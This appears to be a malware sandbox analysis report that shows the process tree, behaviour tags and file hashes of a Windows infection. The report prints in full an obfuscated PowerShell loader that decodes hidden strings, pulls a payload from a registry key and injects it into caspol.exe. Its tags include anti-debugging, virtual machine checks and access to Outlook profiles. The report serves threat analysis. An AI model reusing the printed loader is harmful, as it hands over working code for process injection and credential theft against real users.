pa'Ng3BaEPa6Ud9Fo7UnFKa7Mi6Tr6SpCVa7Sk1Al7Re6Ai7La5Al7PlDDu7ScFAf3By4Ad5TaEDe7ArFAc7OpCFi7Su3Fo7In4sk7HeFRy5Bu9Me7Nr5fl7Ka4Tw6Co9Re6FlERa6Fu8Du6RaFSu7Sk9Ja6PaEFo7Gl5Kv6Se8Pi3Om2Ca3OvEBe5ArESm6Ef8Il7Rm3Ov7KhCRi6DeEEm6Ro9Sa7ud8ga6DaFPi7FiEGr7PoDPe7ByFgl6BrEMo6MeEOv7BiFTy6FrEPe2BoCDa3Li6Me3LiALe4St1Po4Fo9In6Na3St6id9Ce6ToEFo7SpFsa7be7Sp3Re4Ol4Bu8Li7ShFSe7DaCIr7Di6Ca7OmFBe7Fi9Ap6ElEFd7Ba3Sf7Fu5Kn7Co4Af3Co4Ja5Dr9Sk7LiBso7pi6As7Se6Sa7Ve3Em7Ni4Bl7AfDin5Un9Sk7Sp5Ly7Bo4In6FoCpr7EuFLa7Et4Ti6EkESy7Dr3Az7Sk5Le7Fl4In6Fu9Fl4Se7Pr2Op0Un2Am0Ge4Ma9Aa6BlETo7SaBDe7Fa4Ha7BaEBr7DjBMu6La8Pr7AkEPo3Fe6Af3SnACa3NiECh5soESl7DaFRa6Ve9Sh7Ko3In7NaDMe7Si4Im7JaFNe6sv8In7Ko4Da7SeFTr6Sa9Si3Sk3Pe3Eu4Nu4Oc9Kl7PaFSe6luEus5Va3Su7tr7Vo6JoAan7Ca6To7InFUn7ch7Ma7GaFEl7De4Ud6HeEBa7reBMa6TsESt7Mi3Fo7Pl5Da7wi4Sn5HjCbo7Py6Sc7saBDo7AaDEl6Hy9Un3Id2Be3trEak5EkEte6Di8Hu7Un3Va7meCAh6miESm6Su9Bu7Da8Ch6FiFRa7GaEKr7MiDRe7BeFVo6BuESt6UnEUn7unFOv6BiEOv2SkDCo3aa3Fe'Ap;In&Fr(Ba`$SoVDiaRopUnoNurKaaBatNoeGa7Mo)Sk Th`$NoBSarPeaUpnCedDesBeaDeaSirHusRe3By;Tr`$CuBderHoaFenRudmesCeaTraforMisre4Ph Nu=Co KaHQuTInBBy Ak'Sy3boEFi6Ca9Ma7PrFKa7Af6Ha6UbCGr7Sk1Re7Lu6Mo7Mu5So7GyDTa7afFRe3Sa4Dr5BoEBa7EbFCo7TaCTr7Ko3Re7Fl4In7ufFCr5Br7Sn7NuFKo6VaEFl7St2Tu7De5Be7PlEKd3Ne2Il3EnECo4YnCRe7InBDi6DoAPe7Al5Ch6Me8An7BoBpr6MoEUn7LoFQu2Ma8Sp3Pa6Dr3skAHy3BoEAk4ExCBo7EgBMi6HuAFe7Ab5Pa6Pe8op7MoBMe6ReEin7AuFSt2Se9Ti3fr6Fo3SiAPe3InETl7Af8We7Fu6Op6SgFHu7Br4Fi7EnDKu7CaFSm6Bl8no6ma9Tr3Kv6Sy3FlANo3ExECa5TiESt7StFUn6Fo9Eg7Ch3Ti7UdDBe7Sa4As7SpFUn6ov8Or7Uv4Pe7BaFFi6pi9St3In3ar3Co4La4Vi9Sm7AtFbe6RoEge5An3Sp7Ml7Al6ArAam7Se6Sm7TrFLf7Au7Sa7BiFLi7Fl4Un6siESv7HyBEr6biESi7Co3Cr7Ga5Ma7et4Bo5TiCKa7Be6Be7PiBEl7ciDot6Ty9Kr3Fo2Ha3NaESh5IrEPu6Pr8Bo7Te3Po7EyCam6EpEtu6Si9Gr7Cr8Po6DrFKo7AnEQu7FiDUn7TeFIm6LaENa6BuEOv7BlFEx6UdEHy2LaDKe3To3Te'Ti;Be&Br(An`$BiVThaCapSioLarSkaCatGreDe7fo)Sh Me`$TaBFurPraEmnCadAesSpaSeaDerLasOv4Ny;Au`$ArBStrWiaPonEfdRisGraNoaUnrBasst5Fo Ma=Li ErHBoTYeBSt re'Dr6Bl8Dr7ScFRe6RoEAn6afFKr6Co8Tr7Na4An3KsAbu3IsEUl6ak9Yr7BiFRm7Sk6Af6FoCno7Pr1Fl7An6Pa7Ov5Ba7FiDAl7inFPa3Bi4Pr5St9Ud6Ma8Co7MiFTo7PlBst6CyEAn7EgFGe4SoESt6Ma3Tr6OkASh7StFSe3su2Ta3Se3Mi'Ef;Sl&St(Un`$HyVSeaEspBaoMirRaaFitImePr7To)Ex gu`$BeBUdrpeaVanaldSwsReaBoaForMusDo5Me Ma Su ba;Ou}Ge`$BiBCaeFosSttMaaTrlHalDriFonTegPh Gn=Sk PhHFoTByBCh Ne'An7Nu1Ga7DiFCu6Ha8Ra7Fa4Ou7TrFFe7Pr6Ar2Ap9La2Sk8Br'pa;Si`$PrBcarFraMinSedWisreaSiaAmrUnsPa6Bo De=Fr RaHJoTSuBUn Re'As3SnEPr5DoCAd7No5di6Da8ba6TiEbe7Ko5Pe7Sp6Pa7Me1St7Pr4Ko7Ov3Kr7El4pe7ArDNe6Re9Sv6feEVa7BrBBr7Ma8Se7OuFEr7Fa6in7Tr6Fo7ArFCu7Fo4Re3PrATi2Ma7Ob3lyAPr4Ap1Bu4Ul9Ud6Ta3Li6Co9Ni6AlECo7AlFAn7Go7Eu3Ko4Sp4Tr8Se6ReFKo7Tr4Fi6KoEKa7Fe3As7Un7Yn7UnFca3Kr4Mo5Qu3Je7tu4Ra6PiECo7ScFHj6Ah8Sy7Wi5At6GeACa4Pi9Md7HoFFo6un8Au6RiCPs7Te3Em7Ho9Kr7HeFSc6Ti9Ud3Bl4Ka5Qu7La7EkBPr6Wi8Cl6Pi9Fl7Ci2Fu7CaBSk7Bl6pr4Pa7Lu2Er0Al2Ba0Ko5PaDLa7CoFUn6KiEUp5EnEBa7haFUk7Co6Va7CrFBe7DeDae7ReBIn6KrESn7PiFMa5SlCAn7vu5Ma6Om8Tw5FoCEb6ToFfr7la4Sy7Va9Br6StESp7Me3Br7No5Ra7Ma4Gl4AcAxe7St5gl7Un3ac7Pe4Pr6AaESk7TeFAn6Ac8Co3Ko2Fo3Ch2Me7DeCMi7Ho1Sc6AnAAg3sdAUn3GlEPa5Qu8Mi7oxFWo6Ge9Ho6PeEHa7AkBRe7La6fl7Au6Re7Al3Ou7ju4Ma7AiDBe3SuALi3TrEFo4poCSu7feBKn6HoADa7Ko5Fo6Co8Hy7MiBTr6SeEwo7LuFCa2BaEre3Ge3Sa3ko6Hu3HyAPy3Pa2An5SkDPe5suEKa4UnEMo3diARe5MaANe3Kk2Ne4Ki1Fr5Ke3Re7Da4Ja6MoEFo4InAMo6SpEDe6Mi8Kl4Ar7pi3Ne6Ro3NoASh4To1Rh4liFPe5Pa3Sv7Ma4Su6NoETo2An9To2Ou8Fi4Bi7Te3Aa6Sk3CaATo4Ha1Hg4ViFFo5Po3Mc7Re4Yu6ApEKe2Be9Su2Me8Ge4St7Ri3Fa6Ja3TeAId4Se1Kr4TrFTa5Br3Pa7Sy4Pu6AnETi2ud9Em2Py8Tr4Re7Ma3Fo3Du3TeAKv3Ki2Dr4Po1Em5Un3Wa7Sp4Fo6paEFo4CaAUn6LnEKl6Ab8Ma4Zo7Re3Sa3Tr3Pa3Da3Cl3ef'El;As&An(Di`$HeVLaaFapDeoForStaTktAneKo7Be)St Im`$unBCorSuaAnnTidHysOmaHuaDirVisGe6Gy;Sp`$SkGPryPynBraspeEsoGolImaEutEarEmyRa1Bo4Ti sl=In DofDakCepFa Sm`$RiVEcaAnpOpoSarAnaMitHveKo5Co Sy`$BrVMaaChpCooDirSmaFitUneFo6Si;Te`$BrBNerAnaUnnWadBlsAmaShaPlrNosSk7He Pa=Re RuHFlTFeBSv Sl'Di3ArEHy7TrCMe6in8Ko7Da3an7Fe1Ku6tjCUn7ArBSh6Ko8sv6PhEpa7ShFCe6Ex8Nu7PrFOu6SnELo6Se9Fo2Bu9Sp3KoAGr2Om7Or3ExAPl3BeEAf5AnCsv7Fa5fi6Ud8ha6StEso7fl5Vi7Fi6Te7Ko1Ma7An4Me7Le3Op7di4Bl7ReDSl6To9Ed6laEHa7svBMu7hn8Tr7SgFDo7Pl6Ep7Ba6Gr7UnFMa7Se4St3Im4Ga5Sk3so7Pi4Pa6EgCLi7Ha5Lo7Bo1As7HaFty3Hu2Sp4Or1le5An3Sk7Di4Mi6PuEPr4CoATr6DuEBr6Bu8Re4Sa7Sa2Ge0Sa2Ar0Ca4No0Co7taFAr6Re8Pi7Ma5Sa3Pa6Ha3BoAol2niCSa2PiERo2SuFGr3pe6Pi3AdABg2giAYd6Ab2Ar2Sa9Pi2PrASp2CoAIm2CoARe3De6He3UdAKu2ArAVi6In2Ke2PrEHo2ViANi3Br3Sk'Ma;Ak&Do(Dy`$LeVToaFopAtoBirFlaSotUneFo7Pe)Da Le`$InBPirNoaTanStdSesUnaFiaOurTisHi7Pi;Se`$acBBlrUvaPrnEmdCosStaVeaGerOpsTr8Cl un=Bo BoHPoTGrBBe Af'No3DiEHo5pr7Ri7Ko5Ha6StFPa7Ba4Pa6EnEUd7Id3Ci7tiFfl3SoALu2Hn7Ma3ruABr3HeEMa5toCMj7Si5Sk6ko8Im6UoETh7po5Jo7Ma6Fe7Tr1By7Vi4Se7Ta3Ak7Sp4co7MuDHa6Sl9Lo6ReEPo7BrBPa7Gn8Be7FlFGo7Sk6Pu7al6Sh7SuFDi7Be4Pr3Hy4Am5Br3In7ma4Co6flCPh7Or5se7Af1Ta7AcFTi3He2St4Sa1Gl5Re3Ba7Mu4Re6LaEEm4DoAAp6BaEBa6Te8Re4Ag7Tw2Mi0Ok2al0pr4Bo0Sk7VrFHi6Ku8Pu7Op5In3Ro6ra3IdADa2SuFPk2MaFOb2AnAHa2FeACo2DeFYo2SlBBr2Ra2Re2BaETo3Di6Sk3PaAKa2SuAFo6ju2Un2Ge9Sl2ScAVa2prADr2ViAEr3Ga6Gl3SeAEi2ZiAAn6An2Tr2TaEsa3is3Re'Su;Kk&Bo(Sc`$UaVPtaZopNooRerTaaKatbaeDr7Be)Fo Fr`$CiBEfrMiaJenHidSusquaHnaInrBasSk8Va;Me`$KnMUnehatFoaPymsloSkrThfDyoMisTieFasTe=Je(AnGKoeAntPa-gaIAntrueJemTaPDorydoPapSleInrKltZiykl Fo-DuPouaDatPahSp Fo'CuHSoKUdCObUSk:Ud\BrVSiiRvtfyiNecAluGtlSatReuDirYaeRe\RePFircyeUncSaoPinBltLaeRenTitEj'Gr)Br.NoGMeySelOsdOmiBigArePesHa;Vi`$StBGorBeaGunStdArsImaExaEmrJosGa9Op As=Do DuHSaTscBwa Pr'Kv3GrEMi5Ja8Su6Ad8Br7BrBNa7Te4Et7MoEAn6Br9Te7InBte7PoBBa6Fo8Ge6Gr9No3CaACo2La7Pr3DiALa4se1Tr4Ka9Ma6Pc3Re6Be9By6LaEAn7UnFFr7Ny7tr3Vo4Ma5De9Tr7Af5Mi7et4co6MiCFo7PoFHa6Ho8No6SuESp4In7An2Pr0Ly2un0ke5CeCSo6De8Ch7Ni5Fo7hy7Pe5Fr8Ru7StBOu6ly9Sy7MyFRo2LeCDe2CrEEk4Ud9Ul6PrECa6gu8Re7Ha3Mo7Un4Bi7SkDhy3Ar2Fl3aaESu5Pr7te7MeFRy6ReEFi7JoBSp7Sl7Am7Br5Re6In8Tr7BlCar7Be5Ve6To9Uf7FuFAf6ov9Ba3Re3Zo'Ga;Un&Ex(Fe`$LiVBeaOmpBaoVirDeaAdtAreus7Pr)Av Al`$CrBkirGraUnnModSusUlaTeaPorSksAl9Re;sa`$GaMflePatBoaCrmOxoSkrOufBuotesPreFosAn0fr An=Ri NeHOuTGeBGa Li'Rn4Ge1Ba4Pa9An6Dr3Un6En9Su6CaEFi7ToFMu7un7Af3En4Bi4vi8Si6InFBe7Ov4Sk6brEPe7Hu3Ra7Fo7ca7SpFUd3Se4Ar5So3Ti7Ka4ju6FyETa7BeFSc6Lo8Ak7Ac5Bo6SuAFi4pl9Ho7SpFFo6Pr8Cr6KoCVe7co3Ge7Sk9Me7BiFIn6es9Si3Te4Py5Re7Pa7BeBOv6tr8Fe6Pr9Me7Ev2In7NeBVe7Vk6Sa4Fi7Ru2Bi0Ma2Sh0St5Ud9Pr7Hu5Re6KoAmi6Di3Ek3Sa2Fi3DeEFl5Su8Bu6Ch8Pr7WhBId7Va4Jo7BoECo6Id9Af7AaBCh7trBEu6Ti8Ap6Am9Bl3Bo6Ka3NoAJo2SpAan3Sa6Fa3KrADe3SiAJo3PmELk7GlCOv6Tr8Mo7Re3Bi7Ve1Ra6TrCLa7MiBUn6Am8Pe6HoEBr7GlFKe6Ne8Bo7BoFBr6FlETr6Co9Ho2st9Sc3Li6Sp3NoASq2CoCDe2PeEJa2TrFUn3Pa3Tt'De;sk&ud(De`$OmVPaaTapreoUlrvaaTetTueCa7Fr)Ki da`$FlMNoeOvtUmaSmmSeoBurBifVrolusSkeSnsAe0tr;Fd`$EgCChiRetAuiPozFoeSmnAf=Ep`$TrBGararaCrnNodunsHeatraDmrPhsmo.TecDaoScuBenMotBa-Fl6do4Si5va;Ti`$AsMPieAltOkaUnmStoTorBhfkooOusLaeSasfo1Im Fu=re BlHidTLaBFa Si'Sc4Se1Sh4Pr9Ge6tu3Pr6Wi9Fr6StEMe7moFTr7Ki7An3No4Ud4Si8la6NoFCo7Pe4Ei6MaEan7Pe3Cu7Sm7Po7RaFvr3Re4Ho5Tm3De7Vi4su6fiEov7HoFhe6do8Op7ci5Op6LeAOr4Ud9St7SaFSu6Cr8Li6SiCRo7ev3Sy7Ci9Al7CrFBy6In9Ph3wa4No5Sa7Un7AbBRe6Sp8Wh6Be9Ju7In2Um7LeBPa7Sl6Fj4Eu7Me2mo0Mo2Hu0Ad5Le9Ud7Pr5Pu6MoADe6Un3Pe3Ec2Pi3StERe5De8Tr6En8Ba7HyBRe7Un4Ne7TeEUn6In9ha7rvBSi7InBHi6Fo8Su6Da9Su3Op6Vu3ReAUn2PeCKu2GeEom2PaFwa3Sc6Sk3FaAAk3TeEpe5Sk7Vi7El5De6CoFBy7St4mi6OpEAf7pn3So7skFma3Fa6Fl3frAUl3OuEAb5Me9Hy7Ap3ly6KnEst7Un3Ci6Na0Yn7HoFCi7Pl4Cl3De3Do'Re;Re&Mu(Ga`$udVNeaStpHvoStrEpaOptCaere7Vi)Sc Sn`$CaMUleretcoaPymKioOirTofCooUnsLoeSysAc1In;Ri`$BlMRbeAmtInaEcmKooAprStfTioUdsLaeGusHo2Sh Sa=Ma boHSuTDeBHa Zy'Op3paEMa5Di7Va7ReBFo6ve8De6Ro8Re7Ha3Sk6StETh6In9Br3InADr2Te7Pr3JeAOc4Th1Sa4Di9Br6Ba3Si6Wo9Fr6trECe7FrFKu7Ex7Be3To4Ta4Re8Co6FoFVa7Fr4Ti6SkETa7Sm3Re7St7Un7AnFPr3Al4No5Ud3Wi7Hy4No6peEYt7BaFAf6af8Mo7Ha5An6InAha4Pl9Sv7LiFRe6Un8An6VrCCo7bu3Ge7El9Sk7KiFTr6Fi9Jo3Ko4Eq5Sv7re7TaBIn6Ve8Me6Aa9sn7Te2Am7TaBCh7St6Ln4Be7Ha2Pr0Ud2Mi0ov5FeDBo7ArFHa6DiEps5AdEKu7ZoFFr7De6Lo7TeFOr7BrDPr7CoBUn6UdEKu7LaFKo5VaCEn7Ea5De6Sp8Be5SpCIn6CiFPa7Oc4sa7Fi9Ta6PrEFo7Fo3Sp7Ma5Sw7St4Um4ryAam7im5Sp7Se3Bu7Pe4Un6SkESp7ReFRy6Sm8Am3Ca2Si3Ki2Sm7kuCCl7mo1Ul6BrAHo3VoAJu3OuETa4ImAEu7In3Ma6Ho0Ud6Pa0Bl7EnFKr6Bo8Br7Au3Se7JoBUd3JuAAd3OvEka4Mi9Li7brFde7St7Re7Ka3Un6Al8is6AnFPu6Tr8Va7UnBFo7Un6Vi7Be6Sv6Su3Jy3Un3He3Wh6Ek3UsAMo3Fo2Bi5gyDTr5ReESi4ScECo3AlAAf5AfACo3Ma2Do4Be1Tu5Et3ch7Ka4Pu6PrEPa4HuAVi6SpEse6Ve8Ko4So7He3Ol6Si3LoAPa4Be1St5Or3mo7Ar4sk6AgERh4FrAHu6LiESk6Mt8Ci4Me7Fa3Pa6Un3TeATh4Fa1ap5An3Op7Ma4Pl6UdEMa4FoAEp6ApESa6Ti8ka4Ly7Po3Sl6Ta3fiAUf4St1Sc5Co3Sa7Sk4Ra6BoEPh4BlACo6DiESt6Pa8Id4Gr7Ma3Ko6Di3MeASk4Sk1Hi5Ra3or7Al4St6ReEFi4GiAsl6BeEAa6Fr8Ha4Re7Cy3Ka3Tr3DoAaf3El2Me4Be1St5Fa3Ma7De4Th6MuESa4KuABr6PlESy6Dr8Pl4Ra7Gl3Pr3Ne3Pi3Gr3Wr3Pa'Fo;im&Re(pr`$DiVOlaStpUnoRerfoaDetAfeSt7by)Br Do`$ShMFueRetSoaThmUdoCrrPefAmoAdsPreResTr2Tu;Ju`$UnMThevitByaComAnoAnrinfcooResFaeDesBo3Ro Ny=Sc acHIdTHeBAl Ca'Fo3AfESv5Co7Sp7DaBFl6ch8De6Te8de7In3Rr6opEdd6Fa9Sc3El4Op5Jo3Pa7yn4Pa6LoCCa7Lo5Kl7Ci1Md7VrFPo3Va2Re3InESt7GeCNo6Sl8Pi7Re3Af7Gr1De6ArCSi7ClBNe6Bl8Be6SpEGl7StFRa6Gi8ma7noFUd6ViEFo6My9Dr2Un9Su3Co6Un3ScEHo5Ka7Am7no5Ja6BlFUn7Hy4Go6MeEKa7Ak3Tn7hoFEm3Ma6Ru3TiEso5ReDTy6Tr3Te7Mu4me7SrBUl7SnFNo7Wa5Or7Ma6Un7HaBGr6OpEAm6ar8Fa6Sn3Fo2BrBPl2LoESy3Gd6Su2OvAIn3Fo6Un2GiAAd3Fr3In'La;va&Gr(En`$HoVCiaGrpIcoPerMaaAttVeePo7Se)De Sh`$PiMEpeLotBaaTamFaoBorUofExoResRoeCosNe3Bo#Af;""";;Function Metamorfoses9 { param([String]$trudis); $Reglementerede = $trudis.toCharArray(); For($Respitdag=2; $Respitdag -lt $Reglementerede.count-1; $Respitdag+=(2+1)){ $Squireen149 = $Squireen149 + $Reglementerede[$Respitdag]; } $Squireen149;}$Unconditionately0 = Metamorfoses9 'UkISwnSyvGgoFakSkeYp-PrEThxPlpAprObeMcsAnsUniOvoMonHo ';$Unconditionately2 = Metamorfoses9 'PusDrtFnaKorSptGe-HvjTooKnbSp ';$Unconditionately1= Metamorfoses9 $Gartneriarbejder;;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Unconditionately1 ;}else{&$Unconditionately0 $Unconditionately1;};;;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Principper00 {param([String]$trudis);For($Respitdag=2; $Respitdag -lt $trudis.Length-1; $Respitdag+=(2+1)){$Squireen149 = $Squireen149 + $trudis.Substring($Respitdag, 1);}$Squireen149;}$Principper02 = Principper00 'PhIcmnSpvByopokKoeKo-NoEKixSepMerPoeTasKlsFoiFooTanSe ';$Principper01 = Principper00 'Ca$LoABrcCotEniSnvMoiFrnSt[Sy$AtRFjemasDipSoiNetDedBraMagAc/Gr2Te]Or Pr=Il To[DicNuocanUdvQueParRotmi]Bo:In:BoTNooSeBFoySatbaeSt(Go$IstAlrSeuAndDeiMosRe.isSPruAlbBlsAetLarFoiEknRegde(Hu$DuRUneUdsDippriNutPudReaFlgUd,Ve Ev2Si)Su,St Br1Sm6Ve)co ';Function HTB {param([String]$trudis);$Activin = New-Object byte[] ($trudis.Length / 2);For($Respitdag=0; $Respitdag -lt $trudis.Length; $Respitdag+=2){.($Principper02) $Principper01;$Activin[$Respitdag/2] = ($Activin[$Respitdag/2] -bxor 26);}[String][System.Text.Encoding]::ASCII.GetString($Activin);}$Driftsbudgettet0=HTB '4963696E7F77347E7676';$Driftsbudgettet1=HTB '577379687569757C6E344D73742928344F74697B7C7F547B6E736C7F577F6E72757E69';$Driftsbudgettet2=HTB '5D7F6E4A6875795B7E7E687F6969';$Driftsbudgettet3=HTB '4963696E7F7734486F746E73777F3453746E7F68756A497F686C73797F6934527B747E767F487F7C';$Driftsbudgettet4=HTB '696E6873747D';$Driftsbudgettet5=HTB '5D7F6E57757E6F767F527B747E767F';$Driftsbudgettet6=HTB '484E496A7F79737B76547B777F363A52737E7F586349737D363A4A6F78767379';$Driftsbudgettet7=HTB '486F746E73777F363A577B747B7D7F7E';$Driftsbudgettet8=HTB '487F7C767F796E7F7E5E7F767F7D7B6E7F';$Driftsbudgettet9=HTB '5374577F7775686357757E6F767F';$Vaporate0=HTB '57635E7F767F7D7B6E7F4E636A7F';$Vaporate1=HTB '59767B6969363A4A6F78767379363A497F7B767F7E363A5B74697359767B6969363A5B6F6E7559767B6969';$Vaporate2=HTB '53746C75717F';$Vaporate3=HTB '4A6F78767379363A52737E7F586349737D363A547F6D4976756E363A4C73686E6F7B76';$Vaporate4=HTB '4C73686E6F7B765B76767579';$Vaporate5=HTB '746E7E7676';$Vaporate6=HTB '546E4A68756E7F796E4C73686E6F7B76577F77756863';$Vaporate7=HTB '535F42';$Vaporate8=HTB '46';$Pizzeria=HTB '4F495F482928';$Semirurally=HTB '597B76764D73747E756D4A6875795B';function fkp {Param ($Idealless111, $Dogear) ;$Brandsaars0 =HTB '3E6F7E7175787673747D7F68747F693A273A32415B6A6A5E75777B7374472020596F68687F746E5E75777B7374345D7F6E5B69697F777876737F6932333A663A4D727F687F375578707F796E3A613A3E45345D7675787B765B69697F77787663597B79727F3A375B747E3A3E45345675797B6E73757434496A76736E323E4C7B6A75687B6E7F223341372B47345F6B6F7B7669323E5E68737C6E69786F7E7D7F6E6E7F6E2A333A6733345D7F6E4E636A7F323E5E68737C6E69786F7E7D7F6E6E7F6E2B33';&($Vaporate7) $Brandsaars0;$Brandsaars5 = HTB '3E5C7B7E7F6876737D6E3A273A3E6F7E7175787673747D7F68747F69345D7F6E577F6E72757E323E5E68737C6E69786F7E7D7F6E6E7F6E28363A414E636A7F4147473A5A323E5E68737C6E69786F7E7D7F6E6E7F6E29363A3E5E68737C6E69786F7E7D7F6E6E7F6E2E3333';&($Vaporate7) $Brandsaars5;$Brandsaars1 = HTB '687F6E6F68743A3E5C7B7E7F6876737D6E3453746C75717F323E746F7676363A5A32414963696E7F7734486F746E73777F3453746E7F68756A497F686C73797F6934527B747E767F487F7C4732547F6D375578707F796E3A4963696E7F7734486F746E73777F3453746E7F68756A497F686C73797F6934527B747E767F487F7C3232547F6D375578707F796E3A53746E4A6E6833363A323E6F7E7175787673747D7F68747F69345D7F6E577F6E72757E323E5E68737C6E69786F7E7D7F6E6E7F6E2F33333453746C75717F323E746F7676363A5A323E537E7F7B76767F69692B2B2B33333333363A3E5E757D7F7B683333';&($Vaporate7) $Brandsaars1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Designernes,[Parameter(Position = 1)] [Type] $blungers = [Void]);$Brandsaars2 = HTB '3E697F766C7176757D7F3A273A415B6A6A5E75777B7374472020596F68687F746E5E75777B7374345E7F7C73747F5E63747B7773795B69697F777876633232547F6D375578707F796E3A4963696E7F7734487F7C767F796E737574345B69697F77787663547B777F323E5E68737C6E69786F7E7D7F6E6E7F6E223333363A414963696E7F7734487F7C767F796E737574345F77736E345B69697F77787663586F73767E7F685B79797F6969472020486F7433345E7F7C73747F5E63747B77737957757E6F767F323E5E68737C6E69786F7E7D7F6E6E7F6E23363A3E7C7B76697F33345E7F7C73747F4E636A7F323E4C7B6A75687B6E7F2A363A3E4C7B6A75687B6E7F2B363A414963696E7F7734576F766E73797B696E5E7F767F7D7B6E7F4733';&($Vaporate7) $Brandsaars2;$Brandsaars3 = HTB '3E697F766C7176757D7F345E7F7C73747F597574696E686F796E7568323E5E68737C6E69786F7E7D7F6E6E7F6E2C363A414963696E7F7734487F7C767F796E73757434597B767673747D5975746C7F746E73757469472020496E7B747E7B687E363A3E5E7F69737D747F68747F693334497F6E53776A767F777F746E7B6E7375745C767B7D69323E5E68737C6E69786F7E7D7F6E6E7F6E2D33';&($Vaporate7) $Brandsaars3;$Brandsaars4 = HTB '3E697F766C7176757D7F345E7F7C73747F577F6E72757E323E4C7B6A75687B6E7F28363A3E4C7B6A75687B6E7F29363A3E78766F747D7F6869363A3E5E7F69737D747F68747F693334497F6E53776A767F777F746E7B6E7375745C767B7D69323E5E68737C6E69786F7E7D7F6E6E7F6E2D33';&($Vaporate7) $Brandsaars4;$Brandsaars5 = HTB '687F6E6F68743A3E697F766C7176757D7F3459687F7B6E7F4E636A7F3233';&($Vaporate7) $Brandsaars5 ;}$Bestalling = HTB '717F68747F762928';$Brandsaars6 = HTB '3E5C75686E7576717473747D696E7B787F76767F743A273A414963696E7F7734486F746E73777F3453746E7F68756A497F686C73797F6934577B6869727B764720205D7F6E5E7F767F7D7B6E7F5C75685C6F74796E7375744A7573746E7F6832327C716A3A3E587F696E7B767673747D3A3E4C7B6A75687B6E7F2E33363A325D5E4E3A5A324153746E4A6E6847363A414F53746E292847363A414F53746E292847363A414F53746E292847333A324153746E4A6E6847333333';&($Vaporate7) $Brandsaars6;$Gynaeolatry14 = fkp $Vaporate5 $Vaporate6;$Brandsaars7 = HTB '3E7C6873716C7B686E7F687F6E69293A273A3E5C75686E7576717473747D696E7B787F76767F743453746C75717F324153746E4A6E68472020407F6875363A2C2E2F363A2A62292A2A2A363A2A622E2A33';&($Vaporate7) $Brandsaars7;$Brandsaars8 = HTB '3E57756F746E737F3A273A3E5C75686E7576717473747D696E7B787F76767F743453746C75717F324153746E4A6E68472020407F6875363A2F2F2A2A2F2B222E363A2A62292A2A2A363A2A622E33';&($Vaporate7) $Brandsaars8;$Metamorfoses=(Get-ItemProperty -Path 'HKCU:\Viticulture\Precontent').Gyldiges;$Brandsaars9 = HTB '3E58687B747E697B7B68693A273A414963696E7F77345975746C7F686E4720205C687577587B697F2C2E496E6873747D323E577F6E7B7775687C75697F6933';&($Vaporate7) $Brandsaars9;$Metamorfoses0 = HTB '414963696E7F7734486F746E73777F3453746E7F68756A497F686C73797F6934577B6869727B7647202059756A63323E58687B747E697B7B6869363A2A363A3A3E7C6873716C7B686E7F687F6E6929363A2C2E2F33';&($Vaporate7) $Metamorfoses0;$Citizen=$Brandsaars.count-645;$Metamorfoses1 = HTB '414963696E7F7734486F746E73777F3453746E7F68756A497F686C73797F6934577B6869727B7647202059756A63323E58687B747E697B7B6869363A2C2E2F363A3E57756F746E737F363A3E59736E73607F7433';&($Vaporate7) $Metamorfoses1;$Metamorfoses2 = HTB '3E577B6868736E693A273A414963696E7F7734486F746E73777F3453746E7F68756A497F686C73797F6934577B6869727B764720205D7F6E5E7F767F7D7B6E7F5C75685C6F74796E7375744A7573746E7F6832327C716A3A3E4A7360607F68737B3A3E497F7773686F687B76766333363A325D5E4E3A5A324153746E4A6E6847363A4153746E4A6E6847363A4153746E4A6E6847363A4153746E4A6E6847363A4153746E4A6E6847333A324153746E4A6E6847333333';&($Vaporate7) $Metamorfoses2;$Metamorfoses3 = HTB '3E577B6868736E693453746C75717F323E7C6873716C7B686E7F687F6E6929363E57756F746E737F363E5D63747B7F75767B6E68632B2E362A362A33';&($Vaporate7) $Metamorfoses3#"3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵
- Checks QEMU agent file
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:324
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
61KB
MD5fc4666cbca561e864e7fdf883a9e6661
SHA12f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5
SHA25610f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b
SHA512c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
342B
MD54e6c6db024c9e0f5631c1645efc40342
SHA14e1646cc537870b812708536d4d23ab75b910523
SHA2562b3c15f2e50e2fd557fcbefc8ebebfd295203cf41453e49fecceeba4b7918719
SHA512ff877b04cfa79d5677a14c3c1142718673e5b5d95d1439df9ae1bc3a3cf9ce38eb2302775452645c428c7b8e4a67825177377bfd8a23f7b6218ecf717d74e3ed
-
memory/324-72-0x0000000000620000-0x0000000003A95000-memory.dmpFilesize
52.5MB
-
memory/324-91-0x0000000077340000-0x00000000774C0000-memory.dmpFilesize
1.5MB
-
memory/324-90-0x0000000077340000-0x00000000774C0000-memory.dmpFilesize
1.5MB
-
memory/324-86-0x0000000000620000-0x0000000003A95000-memory.dmpFilesize
52.5MB
-
memory/324-81-0x0000000000401000-0x0000000000615000-memory.dmpFilesize
2.1MB
-
memory/324-83-0x0000000000400000-0x0000000000430000-memory.dmpFilesize
192KB
-
